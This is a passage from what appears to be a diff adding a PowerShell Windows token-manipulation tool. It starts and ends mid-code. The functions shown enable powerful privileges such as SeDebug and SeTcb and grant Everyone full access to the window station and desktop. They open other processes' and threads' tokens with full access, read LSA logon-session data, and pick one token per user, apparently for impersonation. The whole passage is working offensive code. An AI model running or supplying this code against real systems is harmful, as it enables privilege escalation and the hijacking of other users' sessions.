+ } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL + function Enable-SeAssignPrimaryTokenPrivilege + { + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + } + + + #Enable SeSecurityPrivilege, needed to query security information for desktop DACL + function Enable-Privilege + { + Param( + [Parameter()] + [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", + "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", + "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", + "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", + "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", + "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", + "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", + "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] + [String] + $Privilege + ) + + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + Write-Verbose "Attempting to enable privilege: $Privilege" + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + Write-Verbose "Enabled privilege: $Privilege" + } + + + #Change the ACL of the WindowStation and Desktop + function Set-DesktopACLs + { + Enable-Privilege -Privilege SeSecurityPrivilege + + #Change the privilege for the current window station to allow full privilege for all users + $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") + $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) + + if ($hWinsta -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hWinsta + $CloseHandle.Invoke($hWinsta) | Out-Null + + #Change the privilege for the current desktop to allow full privilege for all users + $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) + if ($hDesktop -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hDesktop + $CloseHandle.Invoke($hDesktop) | Out-Null + } + + + function Set-DesktopACLToAllowEveryone + { + Param( + [IntPtr]$hObject + ) + + [IntPtr]$ppSidOwner = [IntPtr]::Zero + [IntPtr]$ppsidGroup = [IntPtr]::Zero + [IntPtr]$ppDacl = [IntPtr]::Zero + [IntPtr]$ppSacl = [IntPtr]::Zero + [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero + #0x7 is window station, change for other types + $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) + if ($retVal -ne 0) + { + Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" + } + + if ($ppDacl -ne [IntPtr]::Zero) + { + $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) + + #Add all users to acl + [UInt32]$RealSize = 2000 + $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) + $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) + if (-not $Success) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + #For user "Everyone" + $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) + $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) + $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) + $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero + $TrusteeObj.MultipleTrusteeOperation = 0 + $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID + $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP + $TrusteeObj.ptstrName = $pAllUsersSid + + #Give full permission + $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) + $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) + $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) + $ExplicitAccess.grfAccessPermissions = 0xf03ff + $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS + $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE + $ExplicitAccess.Trustee = $TrusteeObj + + [IntPtr]$NewDacl = [IntPtr]::Zero + + $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) + if ($RetVal -ne 0) + { + Write-Error "Error calling SetEntriesInAclW: $RetVal" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) + + if ($NewDacl -eq [IntPtr]::Zero) + { + throw "New DACL is null" + } + + #0x7 is window station, change for other types + $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) + if ($RetVal -ne 0) + { + Write-Error "SetSecurityInfo failed. Return value: $RetVal" + } + + $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null + } + } + + + #Get the primary token for the specified processId + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + function Get-ThreadToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ThreadId + ) + + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + + $RetStruct = New-Object PSObject + [IntPtr]$hThreadToken = [IntPtr]::Zero + + $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) + if ($hThread -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists + { + Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated + ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed + { + Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + Write-Verbose "Successfully queried thread token" + } + + #Close the handle to hThread (the thread handle) + if (-not $CloseHandle.Invoke($hThread)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hThread = [IntPtr]::Zero + } + + $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken + return $RetStruct + } + + + #Gets important information about the token such as the logon type associated with the logon + function Get-TokenInformation + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + $ReturnObj = $null + + $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) + [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" + } + else + { + $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) + + #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) + + [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero + $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) + if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) + { + Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" + } + else + { + $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) + if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and + $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) + { + #Get the username and domainname associated with the token + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) + + #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) + #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account + #results in querying the domain controller which is unwanted. + if ($Username -ieq "$($env:COMPUTERNAME)`$") + { + [UInt32]$Size = 100 + [UInt32]$NumUsernameChar = $Size / 2 + [UInt32]$NumDomainChar = $Size / 2 + [UInt32]$SidNameUse = 0 + $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) + + if ($Success) + { + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) + $UsernameBuffer = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) + $DomainBuffer = [IntPtr]::Zero + } + + $ReturnObj = New-Object PSObject + $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain + $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username + $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken + $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType + + + #Query additional info about the token such as if it is elevated + $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false + + $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) + $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" + } + else + { + $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) + if ($TokenElevation.TokenIsElevated -ne 0) + { + $ReturnObj.IsElevated = $true + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) + + + #Query the token type to determine if the token is a primary or impersonation token + $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" + + [UInt32]$TokenTypeSize = 4 + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) + switch($TokenType) + { + 1 {$ReturnObj.TokenType = "Primary"} + 2 {$ReturnObj.TokenType = "Impersonation"} + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + + #Query the impersonation level if the token is an Impersonation token + if ($ReturnObj.TokenType -ieq "Impersonation") + { + $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" + + [UInt32]$ImpersonationLevelSize = 4 + [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) + switch ($ImpersonationLevel) + { + 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } + 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } + 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } + 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) + } + + + #Query the token sessionid + $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" + + [UInt32]$TokenSessionIdSize = 4 + [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) + $ReturnObj.SessionID = $TokenSessionId + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) + + + #Query the token privileges + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() + + [UInt32]$TokenPrivilegesSize = 1000 + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + + #Loop through each privilege + [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) + $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) + { + $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) + + $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) + + #Lookup privilege name + [UInt32]$PrivilegeNameSize = 60 + $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) + $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid + + $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" + } + $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) + + #Get the privilege attributes + $PrivilegeStatus = "" + $Enabled = $false + + if ($LuidAndAttribute.Attributes -eq 0) + { + $Enabled = $false + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. + { + Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " + } + + if ($Enabled) + { + $ReturnObj.PrivilegesEnabled += ,$PrivilegeName + } + else + { + $ReturnObj.PrivilegesAvailable += ,$PrivilegeName + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + + } + else + { + Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" + } + + #Free LogonSessionData + $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) + $LogonSessionDataPtr = [IntPtr]::Zero + if ($ntstatus -ne 0) + { + Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" + } + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + $LuidPtr = [IntPtr]::Zero + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) + $TokenStatsPtr = [IntPtr]::Zero + + return $ReturnObj + } + + + #Takes an array of TokenObjects built by the script and returns the unique ones + function Get-UniqueTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [Object[]] + $AllTokens + ) + + $TokenByUser = @{} + $TokenByEnabledPriv = @{} + $TokenByAvailablePriv = @{} + + #Filter tokens by user + foreach ($Token in $AllTokens) + { + $Key = $Token.Domain + "\" + $Token.Username + if (-not $TokenByUser.ContainsKey($Key)) + { + #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because + # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. + if ($Token.LogonType -ne 3 -and + $Token.Username -inotmatch "^DWM-\d+$" -and + $Token.Username -inotmatch "^LOCAL\sSERVICE$") + { + $TokenByUser.Add($Key, $Token) + } + } + else + { + #If Tokens have equal elevation levels, compare their privileges. + if($Token.IsElevated -eq 